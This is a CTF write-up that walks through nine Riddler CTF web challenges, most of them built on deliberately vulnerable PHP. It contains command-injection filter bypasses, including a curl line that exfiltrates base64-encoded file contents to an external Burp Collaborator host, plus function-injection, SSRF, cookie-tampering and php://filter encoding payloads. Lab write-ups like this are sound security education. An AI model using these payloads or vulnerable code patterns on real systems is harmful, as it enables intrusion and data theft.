Cybersecurity Contributions
  • CyberSec
  • Zixem Challenges
  • TryHackMe write-ups
  • TryHackMe SQL Injection Lab
  • SQLi Collected Cheat Sheets & write-ups
  • Portswigger - SQLi Labs
  • Riddler CTF Challenges
  • Cyber Apocalypse CTF 2022 Web Challenges
  • CyberStarters CTF Challenges
  • SQLi Filter Bypass 101
  • Order By SQL Injection
  • Black Hat CTF Web Challenges (2022)
  • TJCTF 2023 writeup (Code Review)
  • CAT CTF 2023 Web Challenges
  • Arab Regional CTF 2023 (Cyber Talents)
  • BugHunting
    • Google dorking to SQL injection
Powered by GitBook
On this page
  • Welcome ( Web -Easy ) :
  • Blind ( Web -Easy )
  • Extraction ( Web - Easy )
  • Leaker ( Web - Easy )
  • Escalate ( Web - Easy )
  • Glob ( Web - Easy )
  • Short ( Web - Medium )
  • Exists ( Web - Medium )
  • Traversal ( Web - Medium )

Riddler CTF Challenges

These are the solutions for some of the challenges faced me at Riddler CTF , I haven't seen this much of PHP challenges at CTF yet :)

PreviousPortswigger - SQLi LabsNextTJCTF 2023 writeup (Code Review)

Last updated 2 years ago

Welcome ( Web -Easy ) :

The first thing we see when open the challenge is this :

With nohting in source code , so the first thing came to my mind is to check robots file located at /robots.txt :

User-agent: *
Disallow: /riddler.txt

Going to the disallowed entry we found the flag :

Blind ( Web -Easy )

The hint of this challenge says : It's a dangerous vulnerability, but unfortunately it's blind so we can either think of command injection or sql injection .

When we open the challenge we see that the PHP source code is given to us :

<?php

// read riddle.php to get your award

if(!empty($_GET['payload'])){
    $payload = str_replace(' ', '', $_GET['payload']);
    $payload = str_replace('riddle', '', $payload);
    exec($payload);
} else {
    highlight_file(__file__);
}

It uses exec() function on GET parameter called payload however it applies to operations on it , first it omits/deletes every space in the value of payload and also deletes the word riddle from the payload which is important to read the file riddle.php .

Bypassing Spaces

Spaces can be easily bypassed using "Input Field Separator" or ${IFS} so cat riddle.php would be the same cat${IFS}riddle.php

Bypassing riddle deleting

We can insert another riddle in between the first riddle as follow ridriddledle.php so when the inline riddle is deleted it still finds riddle.php .

Final Payload

Since it is blind we need external/public server to receive our payload, i used burp collaborator for this :

?payload=curl${IFS}http://BURP-COLLAB?cmd=`cat${IFS}ridriddledle.php|base64`

Result in our collab :

Base64 encode this value and we will find the flag :

Extraction ( Web - Easy )

When we open the challenge we see the source cod given to us :

<?php

// Read riddle.php to get your award

$action = 'checkPassword';

// TODO: Add a readme feature

function readme($path = 'readme.txt') {    
    echo file_get_contents(__dir__ . '/' . $path);
}

function checkPassword($password){
    if($password === 'theriddler123'){
        echo 'Correct password';
    } else {
        echo 'Wrong password';
    }
}

if(!empty($_GET['password'])){
    extract($_GET); 
    call_user_func($action, $password ?? null); 
} else {
    highlight_file(__file__);
}

The function checkPassword does nothing but checking for the value of $password variable we also see that the variable $action is set to checkPassword which is the same name for the function .

The code then checks for the GET parameter password if it's set it will take it's value from the URL through the function extract() so we can control the value of password and also the value of action .

The function call_user_func() is used to call pre-defined PHP functions as first parameter and arguments to this function as second parameter . So if i say call_user_func(system,ls) this would actually execute ls command :

Now we can easily read riddle.php :

Leaker ( Web - Easy )

Again, PHP source code is given to us :

<?php

include('riddle.php');

if(!empty($_GET['place']) && !empty($_GET['answer']) && strlen($_GET['place']) > 3){
    $place = intval($_GET['place']) ?? 0;
    $letter = $flag[$place] ?? null;
    if($letter === $_GET['answer']){
        echo 'Yes';
    } else {
        echo 'Nah';
    }   
} else {
    highlight_file(__file__);
}

It checks for two parameters place and answer , the length of place should be > 3.

We see that the variable $letter is assigned to character of the flag , the index of this character we control it through the place parameter .

If the resulted letter is to equal to answer parameter it'll echo "Yes".

So to test this we know that the first letter of the flag is r , ?answer=r&letter=0000 should echo "Yes" because $flag[0]="r" :

I used 0000 to bypass the filter as 0000 = 0 , 0001 = 1 ...

Escalate ( Web - Easy )

When we open the challenge we found simple login panel :

Checking the source code we see leaked credentials :

by logging in :

So we are demo now and as the challenge says we need to escalate our privileges.

Looking at our cookies we see this base64 encoded value : ZGVtbw which is equal to demo , if we simply changed it to admin we will get the flag :

Glob ( Web - Easy )

When we open the challenge the first thing we see is :

Nothing in the source code , nothing in the cookies so time to search for directories :

Source code disclosure , when i open this file :

<?php 
// Get the login's cookie
$login = !empty($_COOKIE['login']) ? trim($_COOKIE['login']) : 'Nope';
// Check if our own team
if( $login !== "R1DSECR3T1234567" ){
    die("You are not allowed to access!");
}
// List all the riddlers
foreach (glob("riddlers/*.riddle") as $filename) {
    echo "$filename size " . filesize($filename) . "\n";
}

?>

We simply need to add a cookie called login with the value of R1DSECR3T1234567 :

When accessing the listed file we found the flag :

Short ( Web - Medium )

We were given the PHP source code :

<?php

// Read riddle.php to get your award

if(!empty($_GET['payload'])){
    if(strlen($_GET['payload']) < 9){
        $payload = str_replace('*', '', $_GET['payload']);
        $payload = str_replace('?', '', $payload);
        system($payload);
    } else {
        echo 'I like short payloads :P';
    }
} else {
    highlight_file(__file__);
}

It takes GET parameter called payload the length of it must be < 9 and it deletes * and ? to avoid using wild characters and executes it within system function.

After a lot trials trying to read the file my teammate finally came up with this payload

cat `ls`

Which will list all the files and then cats it

The value of the flag made me think that was an unintended solution :) .

Exists ( Web - Medium )

The description of the challenge says that it visits a web url to see if the word exists in it or no , so if i typed for example : http://www.google.com and typed div in the word section :

Great, let's setup a listener on our machine to see if it'll make a request to us :

It made a request but no user-agent header to see what they use to make requests , however i tried the file:// wrapper to check for local files :

Now to check for the flag , we know that it starts with riddler{ so if i searched in riddle.php it gives me URL is wrong , so maybe the flag is in index.php :

Traversal ( Web - Medium )

PHP source code :

<?php

// Read riddle.php to get your award

if(!empty($_GET['path'])){
    $content = file_get_contents($_GET['path']) ?? null;
    if (preg_match ('#[a-zA-Z0-9_-]{2,}#', $content)) {
        die("Not like that, try again");
    }
    echo $content;
} else {
    highlight_file(__FILE__);
}

What this code does is that it includes files using file_get_contents() function and store the output into $content then matches for the content off this variable if it has any small letter , capital letter or digit with minimum characters of 2 then it will not echo it .

This will not allow us to read the flag since it has more than 2 characters . I know that file_get_contents can call remote files but not execute it so it was not helpful , another thought is to read the file character by character and this can be done by passing the offset and length to the function as parameters , however that was not possible in our case .

The final thought is to convert the output to different encoding , and here i don't mean base64 because it will still be captured by the filter but here i mean to change the charset encoding from utf-8 to any other form . Fortuanetly this can be done using convert.iconv.* through php://filter wrapper .

I used this payload : php://filter/convert.iconv.utf-8.utf-16le/resource=file:///var/www/html/riddle.php

And it got me the flag :

Now to get the flag i wrote a simple script that can be found here :

It is, to get the flag I wrote a script that can be found here :

https://github.com/khaled1000emad/CTFs-With-Python-Scripts/blob/main/riddlerCTF/leaker.py
https://github.com/khaled1000emad/CTFs-With-Python-Scripts/blob/main/riddlerCTF/exists.py
It worked!